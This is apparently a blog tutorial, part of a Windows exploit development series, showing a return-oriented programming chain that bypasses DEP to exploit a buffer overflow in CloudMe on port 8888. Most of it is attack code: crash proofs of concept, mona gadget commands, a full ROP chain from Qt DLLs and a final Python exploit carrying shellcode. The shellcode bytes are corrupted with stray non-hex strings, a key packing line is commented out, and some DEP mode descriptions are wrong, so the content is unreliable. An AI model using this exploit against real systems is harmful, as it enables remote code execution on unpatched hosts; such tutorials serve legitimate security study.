Windows Exploit Development Part VI
Windows Exploit Development Return Oriented
Hello everyone. Today, I’ll talk about Windows Exploit Development Return-Oriented Programming. In this lesson, we try to use the first software in this series in a different way. Return Oriented Programming (ROP) is a way to get around Data Execution Protection (DEP). What does DEP mean? DEP is a way to protect against attacks like attack Buffer Overflow, Heap Exploitation, etc., and it can be set up in one of four ways:
OptIn
: It is very important to turn on DEP protection for Windows apps and services.OptOut
: Turns on DEP protection for all apps and services except those on the exception list.AlwaysOn
: Protects all apps and services with DEP, no matter what. “AlwaysOn” can’t be turned off.AlwaysOff
: Protect DEP for all apps and services that are not running.
This method gets around this security by using Windows API. These APIs include:
VirtualProtect()
—-> This function will change the access and security level of a certain memory page, which will let shellcode signal and find its location if it is executable.WriteProcessMemory()
—-> Let shellcode be copied to a different place in memory to move the action. The position will put the shellcode back where it should be able to be written to and run.NtSetInformationProcess()
—-> It lets us change how DEP Policy protects the current process so we can do the final study of Stack’s shell code.SetProcessDEPPolicy()
—-> This lets us change the DEP Policy security for the current process so we can finish analyzing Stack’s shell code. (If you can see, it’s the same asNtSetInformationProcess()
).
I think that’s enough for now, but there’s a lot more on the Corelan Blog. But keep in mind that we will use an ASLR-enabled module for this attack!!!!!!
Now let’s allow DEP. By going to Control Panel > System and Security > System > Advanced system settings
, clicking on Settings, then going to the Data Execution Prevention tab and selecting “Turn on DEP for all programs and services except those,” and then restarting your VM, you can make sure DEP is turned on.
Now is turn for create a POC for CloudMe software.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import socket
target="127.0.0.1"
junk="A"*4000
payload=junk
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload)
except:
print "Don't Crash Me !"
It’s great that we have EIP overwrite. We now need to find the offset.
1
2
!mona pc 4000
!mona po 316A4230 -- 1052 offset
Edit PoC.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
target="127.0.0.1"
buffer=4000
junk1="A"*1052
shellcode="\xCC"*200
exploit=junk1+shellcode
fill="\x43"* (buffer-len(exploit))
payload=exploit+fill
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload)
except:
print "Don't Crash Me !"
ROP chain’s turn has come.So let’s start by determining what needs to go into which registers to make VirtualProtect() work as intended. We must have:
lpAddress
: A pointer to an address that identifies the first page of the area of pages whose access protection attributes are to be modified.dwSize
: The region’s size in bytes that has to have its access protection attributes updated.
The memory protection option is flNewProtect. One of the memory protection constants may apply to this parameter.
lpflOldProtect
: A reference to a variable that stores the prior access protection setting for the first page in the designated region of pages. The function fails if this parameter is NULL or does not point to a recognized variable.
Register | Value |
---|---|
EAX | NOP (0x90909090) |
ECX | lpOldProtect (ptr to W address) |
EDX | NewProtect (0x40) |
EBX | dwSize |
ESP | lPAddress (automatic) |
EBP | ReturnTo (ptr to jmp esp) |
ESI | ptr to VirtualProtect() |
EDI | ROP NOP (RETN) |
To generate a list of usable gadgets from our chosen modules, you can use the following command in Mona:
1
!mona rop -m Qt5Core.dll -cpb '\x00'
I choose Qt5Core.dll to find ROP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# rop chain generated with mona.py - www.corelan.be
0x61ba8b5e, # POP EAX # RETN [Qt5Gui.dll]
0x690398a8, # ptr to &VirtualProtect() [IAT Qt5Core.dll]
0x61bdd7f5, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]
0x68aef542, # XCHG EAX,ESI # RETN [Qt5Core.dll]
0x68bfe66b, # POP EBP # RETN [Qt5Core.dll]
0x68f82223, # & jmp esp [Qt5Core.dll]
0x6d9f7736, # POP EDX # RETN [Qt5Sql.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll]
0x61e870e0, # POP EBX # RETN [Qt5Gui.dll]
0xffffffff, #
0x6204f463, # INC EBX # RETN [Qt5Gui.dll]
0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll]
0x61ec44ae, # POP EDX # RETN [Qt5Gui.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll]
0x61e2a807, # POP ECX # RETN [Qt5Gui.dll]
0x6eb573c9, # &Writable location [libgcc_s_dw2-1.dll]
0x61e85d66, # POP EDI # RETN [Qt5Gui.dll]
0x6d9e431c, # RETN (ROP NOP) [Qt5Sql.dll]
0x61ba8ce5, # POP EAX # RETN [Qt5Gui.dll]
0x90909090, # nop
0x61b6b8d0, # PUSHAD # RETN [Qt5Gui.dll]
Final PoC.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import socket
import struct
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x61ba8b5e, # POP EAX # RETN [Qt5Gui.dll]
0x690398a8, # ptr to &VirtualProtect() [IAT Qt5Core.dll]
0x61bdd7f5, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]
0x68aef542, # XCHG EAX,ESI # RETN [Qt5Core.dll]
0x68bfe66b, # POP EBP # RETN [Qt5Core.dll]
0x68f82223, # & jmp esp [Qt5Core.dll]
0x6d9f7736, # POP EDX # RETN [Qt5Sql.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll]
0x61e870e0, # POP EBX # RETN [Qt5Gui.dll]
0xffffffff, #
0x6204f463, # INC EBX # RETN [Qt5Gui.dll]
0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll]
0x61ec44ae, # POP EDX # RETN [Qt5Gui.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll]
0x61e2a807, # POP ECX # RETN [Qt5Gui.dll]
0x6eb573c9, # &Writable location [libgcc_s_dw2-1.dll]
0x61e85d66, # POP EDI # RETN [Qt5Gui.dll]
0x6d9e431c, # RETN (ROP NOP) [Qt5Sql.dll]
0x61ba8ce5, # POP EAX # RETN [Qt5Gui.dll]
0x90909090, # nop
0x61b6b8d0, # PUSHAD # RETN [Qt5Gui.dll]
]
#return ''.join(struct.pack('<'I', _) for _ in rop_gadgets)## add this here and remove one ''!!
target="127.0.0.1"
buffer=4000
rop_chain = create_rop_chain()
junk1="A"*1052
nop="\x90"*24
buf = ""
buf +="\xba\xd5\x31\x08\x1FFRitFm5rP5oY5aeTeDikpQiWRz278L45\xc9\xb1"
buf +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
buf +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
buf +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
buf +="\xc7\x1FFRitFm5rLQihCFPSNPkwLNBTbVZHUAnYc5iRYaWz9em1\x81\x5a"
buf +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
buf +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
buf +="\xf6\x67\xe2\x1FFRitFm5rLQihCFPSNPkwLNBTbVZHUAnYc5iRYaWz9emc"
buf +="\x64\xa3\x0b\x1f\x1FFRitFm5rP5oY5aeTeDikpQiWRz278L45\xe2\x36"
buf +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
buf +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
buf +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
buf +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
buf +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
buf +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
buf +="\xc4\xd9"
exploit=junk1+rop_chain+nop+buf
fill="\x43"* (buffer-len(exploit))
payload=exploit+fill
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload)
except:
print "Don't Crash Me !"
Short video with result of this exploit –> Windows Exploit Development ROP <–
I hope you like this article about Windows Exploit Development and sorry for my bad English , i am not a native speaker (Happy Hack)